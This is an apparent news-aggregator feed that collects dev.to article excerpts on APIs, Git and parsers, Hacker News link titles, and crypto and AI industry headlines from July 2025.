    TL;DR Postman’s collections are bloated, paywalled, and siloed from your codebase. Voiden is an offline, lightweight Postman alternative. It uses Markdown-style files to enable you to spec, test, and document your APIs in a single place, leveraging a code-like workflow that you already know and understand. Postman's collection-based approach using JSON or YAML files, cloud dashboards, and a complex UI promises seamless API workflows, but it often slows developers down with unnecessary hurdles: Paywall barriers: The free plan caps you at 25 collection runs, 3 collaborators, and one private API. Need more? Pay $14–$49 per user per month. Scaling the team is a budget burden. Siloed specs: Collections live in Postman’s cloud, detached from your repo. Syncing them to Git requires manual expor…  ( 5 min )
    The New Face of Software Testing: Where Innovation Meets Assurance
    Recent global incidents have starkly illustrated the catastrophic consequences of inadequate testing practices. The airline industry experienced a sobering reminder when a recent global outage, traced to an untested third-party update, disrupted operations across more than fifteen countries. Thousands of passengers were stranded, flights were cancelled, and the economic ripple effects extended far beyond the aviation sector. Similarly, the financial technology sector witnessed significant losses when a major stock trading application suffered critical glitches following new feature rollouts, with inadequate regression testing resulting in millions of dollars in reported losses and severely damaged customer trust. The software development industry has embraced a fundamental restructuring of…  ( 7 min )
    [Boost]
    OxarionJS – A Backend Framework Built for Bun Destian Noval ・ Jul 21 #webdev #fullstack #backend #bunjs  ( 2 min )
    Top 11 Deep Learning Frameworks in 2025: Comparative Guide & Use Cases
    As we move halfway into 2025, the deep learning ecosystem is more vibrant and diverse than ever before. A new generation of software libraries is making it simpler to design, train, and deploy powerful neural networks. Whether you're targeting cloud infrastructure, edge devices, or research-grade experimentation, these platforms offer sophisticated support for distributed training, hardware acceleration, and streamlined model optimization, catering to workloads ranging from real-time inference to massive-scale data processing. Moreover, developer-focused enhancements such as modular APIs, plug-and-play components and more have significantly lowered the barrier to entry. This has enabled even newcomers to construct complex AI systems with confidence. Beyond the libraries themselves, interop…  ( 8 min )
    The Complete Guide to Virtual Onboarding for Remote Employees
    The Complete Guide to Virtual Onboarding for Remote Employees Kruti for Teamcamp ・ Jul 21  ( 2 min )
    Supabase vs AWS: Database Pricing 🛢️💰 Comparison in 2025
    When choosing a PostgreSQL database platform, whether for a side project or a production app, you need to look beyond features and assess the total cost of ownership — including compute, storage, backups, and bandwidth. In this guide, we compare Supabase vs AWS (RDS and Aurora) across free, entry-level, and production tiers. We focus strictly on database-related costs and explain on-demand vs reserved pricing where applicable. Both platforms offer free tiers, but they differ significantly in duration, compute power, and resource isolation. Feature Supabase Free Tier AWS Free Tier (12 months) Duration Forever 12 months from signup Compute Shared CPU / 500MB RAM 2 vCPU (burstable) / 1GB RAM (t4g.micro, 750 hrs/mo)* Compute Type Shared container environment Dedicated EC2 instance (…  ( 7 min )
    The Complete Guide to Virtual Onboarding for Remote Employees
    The Complete Guide to Virtual Onboarding for Remote Employees Kruti for Teamcamp ・ Jul 21  ( 2 min )
    RAG Systems Model (MongoDB)
    RAG systems Utilize a vector search algorithm that searches a mathematical space in a database where chunks store vectors. These vectors have many dimensions, with each representing a parameter such as V(Param_k) represents k number of params. High dimensionality is good for accuracy but increases latency. Atlas Search Query uses an embedding model that needs a path that can be configured using PyMuPDF or similar Py packages.  ( 3 min )
    The Future of AI in Software Engineering: Transforming Development from Code Creation to Intelligent Orchestration
    The Future of AI in Software Engineering: Transforming Development from Code Creation to Intelligent Orchestration The software engineering profession is standing at a technological crossroads—where artificial intelligence (AI) is no longer just a tool, but a transformational force redefining the very essence of software development. As we advance through 2025, it's clear that we are shifting from a world where engineers write every line of code to one where they orchestrate AI-powered systems that do the heavy lifting. According to recent reports, over 80% of development teams are projected to adopt AI tools by the end of 2025, ushering in a new era of intelligent, automated software engineering workflows. AI coding tools like GitHub Copilot, Amazon CodeWhisperer, and Pieces for Develop…  ( 6 min )
    The Virtual Office – CSS Art Inspired by Workplace Culture
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. Inspiration I wanted to create a modern, interactive office dashboard that captures the essence of a digital workplace. The design is inspired by real-world office portals, focusing on employee updates, HR resources, task management, and a clean, professional look. The goal was to blend utility with a visually appealing, CSS-driven layout that feels both productive and welcoming. Link to deployed code: https://apoorvtomar2222.github.io/company-portal/ (https://via.placeholder.com/900x500?text=Office+Portal+Demo) Live Demo: You can run the project locally by cloning the repo and running: npm install npm run dev Repo Link: https://github.com/apoorvtomar2222/company-portal …  ( 4 min )
    Behind the Upload: Building a Zero-Trust File Inspection API with FastAPI
    A post by RAHUL KUMAR THAKUR  ( 2 min )
    Just tried a tool that shows where your name or pics get misused.
    If you’ve ever wondered whether your content is being used without your permission, Erasa's Reverse Username Search is a game changer. And the best part? It’s completely free to use. Click here to try it out  ( 3 min )
    🚀 The AI-Native Browser Wars: Comet vs. ChatGPT Agent
    2023 was the year of generative AI. 2025? It’s the year AI invades your browser. The way we search, work, and automate tasks online is changing fast—and two futuristic tools are leading the charge: Perplexity’s Comet and OpenAI’s ChatGPT Agent. So which one deserves a spot in your workflow? Let’s cut through the noise and compare these two AI-native browser experiences head-to-head. Comet: The Researcher’s AI Workbench More than a browser, Comet is a programmable workspace built for developers, analysts, and researchers. Think of it as a hybrid of search engine, notebook, and agent—tuned for exploration and automation. What makes Comet special? 🧩 Modular prompt chains – Like a dev notebook where each cell can search, run code, or summarize. 🌐 Agentic web automation – Summarize pages, a…  ( 4 min )
    Mastering GitHub: Your Ultimate Guide to Version Control with Essential Commands
    Introduction Setting Up Your Git Environment Install Git: Download and install Git from git-scm.com. For Windows, macOS, or Linux, the process is straightforward—follow the installer’s prompts. git config --global user.name "Your Name" git config --global user.email "your.email@example.com" These commands set your name and email globally for all your Git projects. You can check your config with: Set Up SSH (Optional but Recommended): ssh-keygen -t ed25519 -C "your.email@example.com" Press Enter to accept the default file location and optionally set a passphrase. Then, add the SSH key to your GitHub account: cat ~/.ssh/id_ed25519.pub Copy the output, go to GitHub, navigate to Settings > SSH and GPG keys > New SSH key, paste the key, and save. Creating and Managing a Repository Create a …  ( 7 min )
    How We Built the World's First AI Sourcing Engine
    The Problem Existing sourcing tools force procurement teams to work like machines. We flipped the paradigm - building a system that understands business requirements as humans do. Our architecture combines three technical breakthroughs: QWEN processes semantic meaning DeepSeek extracts technical specifications Custom fusion layer resolves conflicts Dynamic Knowledge Graph Processes supplier data in real-time Maintains complex entity relationships Self-corrects data inconsistencies Autonomous Agent System Learns negotiation strategies Adapts to market changes Explains its decisions Why It Matters This proves AI can handle complex enterprise workflows. The patterns we developed - particularly in model fusion and real-time graph processing - offer blueprints for other B2B applications. [See the platform]  ( 3 min )
    Kiwi Pi Series: A Comprehensive Look at Rockchip-Powered SBCs for Developers
    Kiwi Pi Series: Rockchip-Powered SBCs for Developers The single-board computer (SBC) market has exploded with options, but the Kiwi Pi series from iTayga brings something special - four distinct models based on Rockchip's RK3588 platform (RK3588 and RK3588S). Let's break down what makes each model unique. All models share these core specs: CPU: Octa-core ARM (4×Cortex-A76-2.2GHz + 4×Cortex-A55-1.8GHz) GPU: ARM Mali-G610 MC4 (OpenGL ES/OpenCL/Vulkan) NPU: Triple-core @ 6 TOPS (supports int4-int16/FP16/BF16/TF32) VPU: 8K60 decoding (H.265/VP9/AVS2), 8K30 encoding Process: 8nm for efficiency Memory: LPDDR4X 8GB (4/16/32GB options) WiFi 6 + BT5.4 1×GigE USB: 1×Type-C, 2×USB 3.0, 2×USB 2.0 Expansion: 26-pin header (GPIO/UART/I2C/SPI/CAN) Power: USB-C PD 12V/2A Best For: General-purpose compu…  ( 5 min )
    Dropping database column and Microservices
    Most of the time, you don't think a lot about making database changes, but when dropping a column, some serious effects on your application can happen if not handled carefully. As you see in the diagram below, when you deploy a new version of your service with a drop column migration, you have a race condition of the existing micro service (v1) may try to access the column that was removed, causing: Existing deploy micro service to crash. Random errors to appear in logging. Alerts to be raised if you have monitoring in place. A version of your service that doesn't access the database column you want to drop Leave the column in the database. This will ensure that the existing version (V1) does not encounter an issue if it continues to attempt to access the database column. Leave the column…  ( 4 min )
    The Physical Layer Playbook: Mastering Cable Troubleshooting
    Preamble: Cable Troubleshooting Troubleshooting network issues can often feel like a puzzle. Applying a layer-by-layer approach, such as the OSI model, can greatly assist in isolating symptoms and causes. In this post, we'll investigate common issues affecting cabled networks and identify the tools and techniques used to solve problems at the Physical layer. As we explore cable troubleshooting, keep these questions in mind: How can you distinguish an issue caused by improper cable choice or termination from one caused by environmental factors? Which tools can you use to diagnose issues with copper and fiber optic cable and connectors? What is the difference between a regular cable tester and a cable certifier? Which tool would you use to find the end of a specific cable within a wiring c…  ( 14 min )
    Elegantblue digital clock with AI quotes and calendar
    Check out this Pen I made!  ( 2 min )
    Advanced PDF Optimization Techniques - 1753152
    Mastering Lossless PDF Compression: Tiny Tweaks, Huge Gains Hello, developers! Today, we're going to dive into the world of PDF compression, focusing on lossless techniques that help you reduce file sizes while preserving the integrity of your documents. As developers, we often deal with PDFs - from generating reports to handling user uploads. Optimizing these files can lead to significant improvements in performance, storage, and user experience. Let's explore some practical tips and techniques to help you master lossless PDF compression. Before we dive into implementation, let's quickly recap what lossless compression means. Unlike lossy compression, which reduces file size by discarding some data, lossless compression reduces file sizes by eliminating redundant and unnecessary informa…  ( 5 min )
    DDoS Attacks After Entering China: Understanding the Enemy's Arsenal for Stronger Defenses
    In today's hyper-connected digital ecosystem, Distributed Denial of Service (DDoS) attacks have evolved from occasional disruptions into persistent, sophisticated threats against organizations of all sizes. The frequency, scale, and complexity of these attacks continue to grow at an alarming rate. For overseas platforms, software, and websites looking to enter or already operating in the Chinese market, understanding and defending against DDoS attacks is particularly crucial. These digital tsunamis can cripple unprepared targets in minutes, leading to service outages, financial losses, reputational damage, and erosion of customer trust. As critical infrastructure, financial services, e-commerce, and even government services migrate to online platforms, the potential impact of a successful …  ( 5 min )
    5 Python Scripts to Instantly Automate Boring Tasks (Free Toolkit)
    🔧 Automate Your Life with Python — Free Toolkit by AutoHackers If you're learning Python or just tired of repeating boring tasks, this one's for you. I built a small toolkit of 5 automation scripts — each solving real problems with minimal code and setup. They're perfect for beginners or anyone who loves scripting. File Organizer Automatically sorts messy folders into subfolders by file type. PDF Merger Combines all PDFs in a folder into one — no GUI, just a command. Web Scraper Pulls the latest news headlines from BBC News. Auto-Backup Script Zips and timestamps a folder for simple backups. Email Reminder Bot Sends reminders to your inbox from the terminal. 🧠 Why I Built This Because automation shouldn't be complicated — and Python is powerful even in small doses. These scripts are clear, short, and practical. 👉 AutoHackers Python Toolkit on Gumroad 💬 I'd love your thoughts — what should I add to version 2?  ( 3 min )
    Understanding AWS Agents: Strands, Bedrock Agents, and AgentCore with MCP
    AWS offers multiple ways to build AI agents, but it can be confusing to know when to use Strands Agents, Bedrock Agents, or AgentCore. In this guide, we will break down these options in simple terms, show how MCP (Model Context Protocol) fits into each, and provide practical code examples for deploying an MCP server and client. There isn't one single agent framework because developers have different needs. Some need full control and open-source flexibility, others want fully managed services with minimal setup, and some need enterprise-grade infrastructure like memory, observability, and secure execution. Strands Agents SDK is open-source and integrates directly with MCP12. It is suited for developers who want to self-host and customize their agent logic. Example MCP Server with Strands: f…  ( 6 min )
    Implement a lexical parser
    To implement a lexical parser, we will use a tool called Fast Lexical Analyzer Generator (flex or lex) to perform pattern-matching on text. You can install the tool using the following command sudo apt update sudo apt upgrade sudo apt install flex First, we need to create a file to feed to the lex program, and then it will generate a C language file. You can name the file any name you like. I will go with parser.l. The syntax of the file is as follows. %{ // section 1 %} %% // section 2 %% // section 3 (optional) Section 1 begins with %{ and ends with %}. In this section, you can write any C code. Section 2 begins with %% and ends with %%. In this section, you will write a regular expression to match the string input. Section 3 is optional. You can write a main function here if y…  ( 5 min )
    Introduction
    In this series, I will walk through the implementation of a mathematical parser in C/C++ that I learned from Udemy course with an instructor, Abhishek. My completed code is in my GitHub. I do not get sponsorship from him, but I think his courses are very good for learning C/C++. I recommend checking out his courses, there are a lot of interesting projects. Let's begin with the expectation of this project. By the end of this series, you will have your mathematical expression parser that parses an input string and evaluates the result, including inequality and logical expressions as demonstrated in the following picture. Try parsing the input string expression in the following order: logical, inequality, and math expression. If the parsing fails, try the next expression. During parsing, create a lexical stack using a backtracking algorithm. Convert a mathematical expression from infix form to postfix form, which does not need parentheses to reduce ambiguity of operator precedence. Create a lexical tree from the postfix form. Evaluate the result by traversing the tree in postorder.  ( 3 min )
    💻 5 Git Commands Every Full Stack Developer Should Know
    Hey community! 👋 As full stack devs, we juggle front-end, back-end, APIs, and more. Git keeps us on track, but it’s more than just commit and push. Here are 5 powerful Git commands to boost your workflow and save your code when it matters most. Let’s go! 🚀. ✅ 1. 🧭 Git Reflog — Your Safety Net What it is: Git Reflog tracks every change of your HEAD — even commits you thought were lost after resets or rebases. Why it matters: Deleted work by accident? Reflog lets you recover it. Try it: git reflog git checkout HEAD@{2} ✅ 2. 🕵️‍♂️ Git Bisect — Debug Like a Pro What it is: A binary search tool to pinpoint the exact commit that introduced a bug. Why it matters: No more manual guesswork through dozens of commits. Try it: git bisect start git bisect bad git bisect good # Keep testing commits, marking good or bad git bisect good git bisect bad ✅ 3. 🧹 Git Clean — Keep Your Repo Tidy What it is: Removes untracked files and directories from your working directory. Why it matters: Clean up build artifacts, temp files, or experiment leftovers fast. Try it: git clean -fd Tip: Use git clean -nfd first for a dry run. ✅ 4. 📝 Git Notes — Add Context Without History Changes What it is: Attach notes to commits without rewriting history. Why it matters: Great for review comments, extra info, or reminders. Try it: git notes add -m "Reviewed and approved by QA" git log --show-notes ✅ 5. 🧰 Git Worktree — Multiple Branches, One Repo What it is: Check out multiple branches at once in different folders — no need for multiple clones. Why it matters: Work on a hotfix and a feature at the same time, hassle-free. Try it: git worktree add ../feature-branch feature-branch 🚀 Wrap Up: Boost Your Git Skills Use these commands to save time, avoid mistakes, and work smarter on your full stack projects. Git is more powerful than you think—start mastering it today! Got a favorite Git trick? Drop it below! 👇  ( 4 min )
    💳 Best Payment Gateways for MERN Stack Projects (No Business Required)
    If you're building a MERN stack project (MongoDB, Express, React, Node.js) — like an e-commerce app, portfolio site, SaaS, or digital product — and don’t have a registered business, this guide is for you. 🌐 List of payment gateways that work without business registration 🔐 Whether they provide live API keys ⚙️ Their setup complexity 🧪 Backend verification support (very important!) 🧩 Suitability for MERN stack apps (API, webhooks, React-friendly) 🏆 One recommended gateway 🏆 Recommended for MERN Stack Developers (No Business) Goal Recommended Gateway 🇮🇳 Indian payments + MERN backend Instamojo 🌍 Sell digital products globally Gumroad 💰 Accept tips/supporters Buy Me a Coffee or Ko-fi 🔁 Subscriptions or SaaS Stripe via Payhere or LemonSqueezy …  ( 4 min )
  • Open

    TapTrap: Animation‑Driven Tapjacking on Android
    Comments  ( 8 min )
    Large ancient Hawaiian petroglyphs uncovered by waves on Oahu
    Comments
    Algorithms for Modern Processor Architectures
    Comments  ( 21 min )
    Comparing the Glove80 and Maltron Keyboards
    Comments  ( 13 min )
    Tinyio: A tiny (~200 line) event loop for Python
    Comments  ( 12 min )
    Vector Tiles are deployed on OpenStreetMap.org
    Comments  ( 7 min )
    Qwen3-Coder: Agentic Coding in the World
    Comments  ( 7 min )
    Firebender (YC W24) Is Hiring
    Comments  ( 3 min )
    NonRAID – fork of unRAID array kernel module
    Comments  ( 21 min )
    Unsafe and Unpredictable: My Volvo EX90 Experience
    Comments  ( 1 min )
    More than you wanted to know about how Game Boy cartridges work
    Comments  ( 60 min )
    We built an air-gapped Jira alternative for regulated industries
    Comments  ( 2 min )
    Mistral reports on the environmental impact of LLMs
    Comments  ( 12 min )
    Americans are paying for tariffs, not foreign companies
    Comments
    Swift-Erlang-Actor-System
    Comments  ( 3 min )
    Fun with Gzip Bombs and Email Clients
    Comments  ( 2 min )
    I Watched Gemini CLI Hallucinate and Delete My Files
    Comments  ( 6 min )
    LSM-2: Learning from incomplete wearable sensor data
    Comments  ( 7 min )
    Android Earthquake Alerts: A global system for early warning
    Comments  ( 7 min )
    Ozzy Osbourne has died
    Comments  ( 24 min )
    Subliminal Learning: Models Transmit Behaviors via Hidden Signals in Data
    Comments  ( 6 min )
    Stop Pretending LLMs Have Feelings Media's Dangerous AI Anthropomorphism Problem
    Comments  ( 19 min )
    Show HN: Phind.design – Image editor & design tool powered by 4o / custom models
    Comments
    Show HN: Any-LLM – lightweight and open-source router to access any LLM Provider
    Comments  ( 9 min )
    Better Auth (YC X25) Is Hiring
    Comments  ( 4 min )
    AI Market Clarity
    Comments  ( 24 min )
    First Hubble Telescope Images of Interstellar Comet 3I/Atlas
    Comments  ( 1 min )
    Gemini North telescope discovers long-predicted stellar companion of Betelgeuse
    Comments
    Gemini North Discovers Long-Predicted Stellar Companion of Betelgeuse
    Comments  ( 9 min )
    Tiny Code Reader: a $7 QR code sensor
    Comments
    Launch HN: Promi (YC S24) – Personalize e-commerce discounts and retail offers
    Comments  ( 2 min )
    CSS's problems are Tailwind's problems
    Comments  ( 13 min )
    Bypassing Watermark Implementations
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    Blip: Peer-to-Peer Massive File Sharing by Former Dropbox Engineers
    Comments  ( 6 min )
    Why Facts Don't Change Minds–Structure Does (A Systems Analysis of Belief)
    Comments  ( 15 min )
    Mary had schizophrenia, then suddenly didn't
    Comments  ( 204 min )
    Compression culture is making you stupid and uninteresting
    Comments
    Many Lung Cancers Are Now in Nonsmokers. Scientists Want to Know Why
    Comments
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    Comments
    Reverse Proxy Deep Dive: Why HTTP Parsing at the Edge Is Harder Than It Looks
    Comments  ( 6 min )
    Go Allocation Probe
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    A big problem for Tesla isn't getting much attention
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    Killing the Mauna Loa observatory over irrefutable evidence of increasing CO2
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    Comments  ( 5 min )
    The United States Withdraws from UNESCO
    Comments
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    Comments  ( 38 min )
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    Comments  ( 8 min )
    DaisyUI: Tailwind CSS Components
    Comments  ( 19 min )
    TODOs Aren't for Doing
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    So you think you've awoken ChatGPT
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    Show HN: My GPU Fan Saga – A DIY ATX Fan Controller
    Comments  ( 4 min )
    The Role of Blood Plasma Donation Centers in Crime Reduction
    Comments
    The vibe coder's career path is doomed
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    Replit's CEO apologizes after its AI agent wiped a company's code base
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    Show HN: The Magic of Code – book about the wonders and weirdness of computation
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    The Hater's Guide to the AI Bubble
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    How to Firefox
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  • Open

    $100B Binance Futures volume backs traders’ ‘altseason’ claim
    Altseason takes center stage as 71% of Binance Futures volume are altcoins.
    Bitfarms to buy back 10% of shares, calls stock undervalued
    The bitcoin miner plans to repurchase up to 49.9 million shares over the next year as it pivots to high-performance computing and AI infrastructure.
    Bitcoin liquidity wars carry on, but BTC price target remains $140K
    Bitcoin holds firm above $115,000 as resilient buyers absorb sell pressure, setting the stage for a potential breakout to new highs.
    Here’s what happened in crypto today
    Need to know what happened in crypto today? Here is the latest news on daily trends and events impacting Bitcoin price, blockchain, DeFi, NFTs, Web3 and crypto regulation.
    Crypto confusion: 50% of non-investors don’t understand it well enough to buy
    A survey conducted by the National Cryptocurrency Association explored why some people aren’t comfortable investing in digital assets.
    Price predictions 7/22: SPX, DXY, BTC, ETH, XRP, BNB, SOL, DOGE, ADA, HYPE
    Bitcoin continues to face selling near $120,000, but the bulls have kept up the pressure, increasing the likelihood of an upside breakout.
    Boom in RWA tokenization expected after passing of GENIUS Act — Aptos exec
    New legislation like the GENIUS Act is paving the way for institutional adoption of real-world asset tokenization, as Aptos Labs and other major players lead the charge.
    PNC Bank to launch crypto trading via Coinbase partnership
    Institutional interest in crypto has been rising as regulatory clarity increases in the United States.
    Solana SSK ETF breaks $100M as Wall Street warms to crypto staking
    SSK, the first US ETF to combine spot Solana exposure with on-chain staking rewards, attracted over $100M in 12 trading days.
    Opendoor’s 500% surge signals return of meme stock mania
    Meme stocks are rallying in lockstep with crypto and the broader stock market, with gains reminiscent of the pandemic era.
    Microsoft publishes emergency patches for its SharePoint software amid attacks
    SharePoint’s cloud-based platform remains unaffected, with the vulnerabilities limited to on-premises installations, Microsoft said.
    US Senate Republicans release draft bill for crypto market structure
    Republican leaders on the Senate Banking Committee said the legislation “built on” the CLARITY Act passed in the House of Representatives last week.
    SpaceX moves $153M in BTC after three-year silence
    SpaceX transferred $153 million in Bitcoin as political tensions rise and the Pentagon opens defense contracts to new bidders.
    The dead don’t spend Bitcoin: How to set up a crypto inheritance plan (before it’s too late)
    It is essential to secure your BTC, altcoins and NFTs with a crypto inheritance plan that safeguards keys and simplifies wealth transfer for heirs.
    Citadel warns SEC: Tokenization must deliver real innovation, not regulatory loopholes
    As the US regulator explores streamlined rules for securities tokenization, Citadel Securities urges a focus on meaningful innovation.
    FBI ends probe of Kraken co-founder, returns confiscated devices — Report
    The investigation was reportedly not connected to Jesse Powell’s activities within the crypto industry.
    A16z Crypto leads $15M Poseidon raise to decentralize AI training data
    Poseidon secures $15 million led by a16z Crypto to build a decentralized, IP-cleared data pipeline for AI training.
    What does the US GENIUS Act mean for stablecoins?
    The Genius Act is a US law aimed at establishing federal oversight for stablecoin issuers, setting rules for reserves, redemption rights, and licensing requirements.
    Crypto needs minimum viable decentralization to guide performance-focused infrastructure
    DeFi’s obsession with maximum decentralization sacrifices performance. Minimum viable decentralization offers a pragmatic path to compete with TradFi.
    New Bitcoin analysis says ‘most explosive phase’ to $140K is close
    Bitcoin price consolidation after a powerful rally to record highs is normal. Will the current bull pennant confirm and send BTC beyond $136,000?
    Owning a full Bitcoin in 2025 — just how rare is it?
    Fewer than 1 million people on Earth hold a full Bitcoin. That’s less than 0.02% of the global population and even fewer in crypto.
    PancakeSwap Infinity launches on Base as L2 network hits record TVL
    PancakeSwap Infinity, the latest version of the DEX, has launched on Coinbase’s Base network as its TVL and DEX activity hit all-time highs.
    TON Wallet goes live for Telegram users in US
    Telegram rolls out TON Wallet to US users, enabling self-custodial crypto transactions, DeFi access and off-ramp features within the app.
    Sharplink buys $259M in Ether as ETH accumulation race heats up
    SharpLink bought 79,949 ETH — its largest such purchase — to reclaim its status as the world’s largest public ETH holder.
    Western Union joins stablecoin race, eyes crypto partnerships: CEO
    Western Union is exploring stablecoin integration for cross-border transfers, conversions and digital wallets, positioning it as an innovation opportunity.
    Pump.fun private sale investors send over $160M to exchanges
    Pump.fun whales have sent over $160 million in tokens to exchanges as PUMP drops below its ICO price, triggering fears of a broader memecoin market correction.
    Bitcoin seller exhaustion 'likely' as trader eyes $115K BTC price dip
    Bitcoin can still surpass all-time highs, but doubts surface over how quickly bulls can get past the latest sub-$120,000 consolidation phase.
    How to use Grok for real-time crypto trading signals
    Grok scans posts and sentiment shifts on X to help crypto traders identify early signals, memes and macro-driven momentum plays.
    Ethereum whale nets $9.87M profit as ETH snaps 8-day winning streak
    Ether risks a correction to $3,000 as its daily chart flashes overbought signals similar to the setup that triggered a sell-off in May.
    Bitget Wallet launches first fiat withdrawal option via MoonPay
    Bitget Wallet’s direct withdrawal launch for USDT and USDC reflects the growing demand for ways to exit crypto positions without relying on centralized exchanges.
    XRP price breaks out: These charts predict a rally toward $6
    Multiple technical and onchain indicators suggest a potential XRP price rally toward the $6 milestone before the end of 2025.
    Genius Group cites GENIUS Act as it boosts Bitcoin stash to 200 BTC
    Singapore-based AI edtech firm Genius Group doubled its Bitcoin holdings to 200 BTC in July while expanding its crypto initiatives under the newly passed GENIUS Act.
    JPMorgan exploring crypto-backed loans amid stablecoin push: FT
    The Financial Times cited an unidentified source saying CEO Jamie Dimon’s previous remarks about Bitcoin had alienated some potential clients.
    Strategy launches Bitcoin stock pegged at $100 to increase treasury
    Strategy aims to launch a stock akin to a synthetic stablecoin, enabling the company to absorb more fiat money to convert into Bitcoin capital.
    Spot Bitcoin ETFs break 12-day inflow streak amid ‘profit taking’
    Spot Bitcoin ETFs saw $131.35 million in outflows on Monday, ending a 12-day streak that pulled in $6.6 billion.
    Cathie Wood sells Coinbase, Roblox shares for Tom Lee’s ETH firm
    ARK Invest has restructured three ETFs, selling Coinbase and Roblox shares to buy 1.5% stakes in Ethereum treasury firm Bitmine across its portfolios.
    Eric Trump takes victory lap 5 months after telling everyone to buy ETH
    Investors who bought ETH when Eric Trump made his Feb. 4 post are sitting on an unrealized gain of 30% despite a drawdown earlier this year.
    Chinese pork producer turned BTC miner kicks off Dogecoin plan
    Bit Origin CEO Jinghai Jiang said the company adopted Dogecoin for its treasury because they see its “utility potential for micropayments nearing an inflection point.”
    Republicans propose 7% leaner SEC budget compared to Biden’s era
    House Republicans have proposed a plan to trim the SEC’s budget and cut enforcement funding for a Biden-era rule requiring public companies to quickly report cyberattacks.
    Ether Machine founder claims ETH outperformed BTC over past 10 years
    Ether Machine’s Andrew Keys said he’s an Ethereum maxi and doesn’t own Bitcoin — he’d “rather have an iPhone than a landline.”
    DeFi Development Corp hits 999,999 SOL, Solana soars 12%
    DeFi Development Corp CEO Joseph Onorati said the company has no plans to expand its treasury with other crypto. Meanwhile, Solana crossed the $200 mark on Tuesday.
    Roman Storm could go for mistrial over scam victim’s testimony: Report
    Tornado Cash co-creator Roman Storm, facing 45 years behind bars, could move for a mistrial after claiming that a scam victim’s testimony wasn’t connected to the crypto mixer.
  • Open

    Anthropic researchers discover the weird AI problem: Why thinking longer makes models dumber
    Anthropic research reveals AI models perform worse with extended reasoning time, challenging industry assumptions about test-time compute scaling in enterprise deployments.  ( 7 min )
    Intuit brings agentic AI to the mid-market saving organizations 17 to 20 hours a month
    Intuit explains how it is solving the needs of the mid-market with a new series of agentic AI experiences.  ( 8 min )
    Open-source MCPEval makes protocol-level agent testing plug-and-play
    Researchers from Salesforce unveiled MCPEval, a new method to evaluate AI agent performance and tool use within MCP servers.  ( 7 min )
    Alibaba’s new open source Qwen3-235B-A22B-2507 beats Kimi-2 and offers low compute version
    Teams can scale Qwen3’s capabilities to single-node GPU instances or local development machines, avoiding the need for massive GPU clusters.  ( 10 min )
  • Open

    Dan Tapiero Projects Crypto Economy Hitting $50T, Launches $500M Fund Under New Firm
    Tapiero, who previously projected a $10 trillion crypto market, adjusted his forecast after seeing the success of Circle's IPO and Deribit's acquisition by Coinbase.
    SEC Approves, Immediately Pauses Bitwise's Bid to Convert BITW Crypto Index Fund to ETF
    The SEC has released multiple crypto ETF updates this week, signaling shifting regulatory priorities.
    Ethereum Validator Exit Queue Nears $2B as Stakers Rush to Exit After 160% Rally
    The exodus stretched the waiting line to over 9 days, but strong staking demand from ETH treasury firms and SEC clarity may keep sell pressure in check.
    Crypto Prediction Market Polymarket Weighs Launching Its Own Stablecoin: Source
    Polymarket would create its own stablecoin to own the yield-generating USD reserves that back the amount of Circle’s dollar-pegged token, USDC, a source said.
    The Node: JPM’s BTC Lending Play
    One of the trends that I’m keeping an eye on is the growing availability of bitcoin-backed loans. Let’s check in on the sector real quick.
    FBI Drops Criminal Probe Into Kraken Founder Jesse Powell
    Jesse Powell is no longer under investigation for alleged hacking tied to a nonprofit he co-founded.
    Toncoin Extends Rally as Telegram Launches Integrated TON Wallet for 87M U.S. Users
    TON jumped 3% to $3.41 as Telegram began rolling out its integrated self-custodial wallet to 87 million U.S. users, enabling seamless crypto payments inside the app.
    Tokenized Stocks Expose a Major Tax Reporting Gap in Crypto—Robin Singh
    As platforms like Robinhood and Gemini roll out tokenized stocks, will crypto tax reporting finally catch up with TradFi? Koinly’s Robin Singh says a day of reckoning is coming.
    Privacy Is Key to the Next Phase of Ethereum
    As Ethereum celebrates its 10th anniversary this month, it must double-down on its original commitment to privacy, say Zac Williamson, Co-founder and CEO of Aztec Labs, and Sam Richards, Lead of PSE at Ethereum Foundation.
    PEPE Dips Slightly as Market Cools, but Outperforms Broader Memecoin Sector
    Despite the drop, PEPE is outperforming the wider memecoin space and is up nearly 55% over the past month.
    ATOM Slips 5% as Bitcoin Regains Dominance After Altcoin Season
    The long-awaited altcoin season is beginning to fizzle out as bitcoin starts to build back dominance.
    The Senate Must Finish the Job on America’s Pro-Crypto Future—Emmer, Begich
    Passage of the GENIUS Act last week was a landmark for digital assets. But we still need to pass CLARITY and our Anti-CBDC law, say U.S. House Majority Whip Tom Emmer (R-Minn.) and Representative Nick Begich (R-Alaska).
    Senate Releases Answer to Clarity Act as It Continues Market Structure Work
    The Senate published a 35-page discussion draft market structure bill, asking for industry input on how it may be improved.
    BNB Drops After Failed Breakout, Key Support Holds as Corporate Accumulation Grows
    The decline has Solana's sol (SOL) to overtake BNB's market capitalization, with SOL rising 3.5% to a market cap of $109.3 billion.
    A16z Crypto Leads $15M Seed Round Into Decentralized AI Data Layer Poseidon
    Poseidon was incubated by IP-based protocol Story, whose aim is to convert IP into programmable assets that can be licensed and managed using smart contracts
    EDX Unveils International Crypto Trading Platform With Perpetual Futures
    EDX International, the Singapore-based global hub of the firm, is offering trading in 44 cryptocurrency pairs, including Bitcoin, ETH, Sol, and XRP.
    ETH to $4,000? Analysts Weigh Whale Purchases Against Correction Risks
    ETH’s climb toward $4,000 is backed by whales and sentiment, but some analysts warn the rally looks overheated and ripe for a correction.
    Internet Computer Slides Amid Broader Altcoin Pullback
    Internet Computer loses ground as high-volume liquidation hits $5.83 support.
    BONK Holds Key Support as Volatility Grips Market
    The Solana-based memecoin weathered an 8% intraday swing amid a Galaxy Digital transfer and Binance reclassification.
    Bitcoin ETFs' 12-Day Inflow Streak Comes to an End as Price Stalls
    The spot bitcoin funds on Monday saw outflows of $131 million as speculative interest turned in a big way to altcoins.
    UK Says Crypto Sector Likely Under Reporting Sanction Breaches
    U.K.-based crypto asset firms also face a high risk of being targeted by North Korean hackers, many of which operate on behalf of sanctioned entities, the report said.
    NEAR Slumps as Bitcoin Regains Strength, Ending Altcoin Surge
    Token faces sustained bearish pressure with extreme volatility in final trading hour amid broader market uncertainty.
    Kraken to Support Biotech Firm Windtree’s $200M BNB Treasury Play
    Crypto exchange Kraken will custody and manage BNB assets for Windtree Therapeutics' crypto treasury plan tied to Binance Chain.
    PNC Bank to Offer Crypto Access Through Coinbase Amid Growing Institutional Demand
    The partnership aims to bring crypto trading to PNC clients and banking support to Coinbase, the companies said.
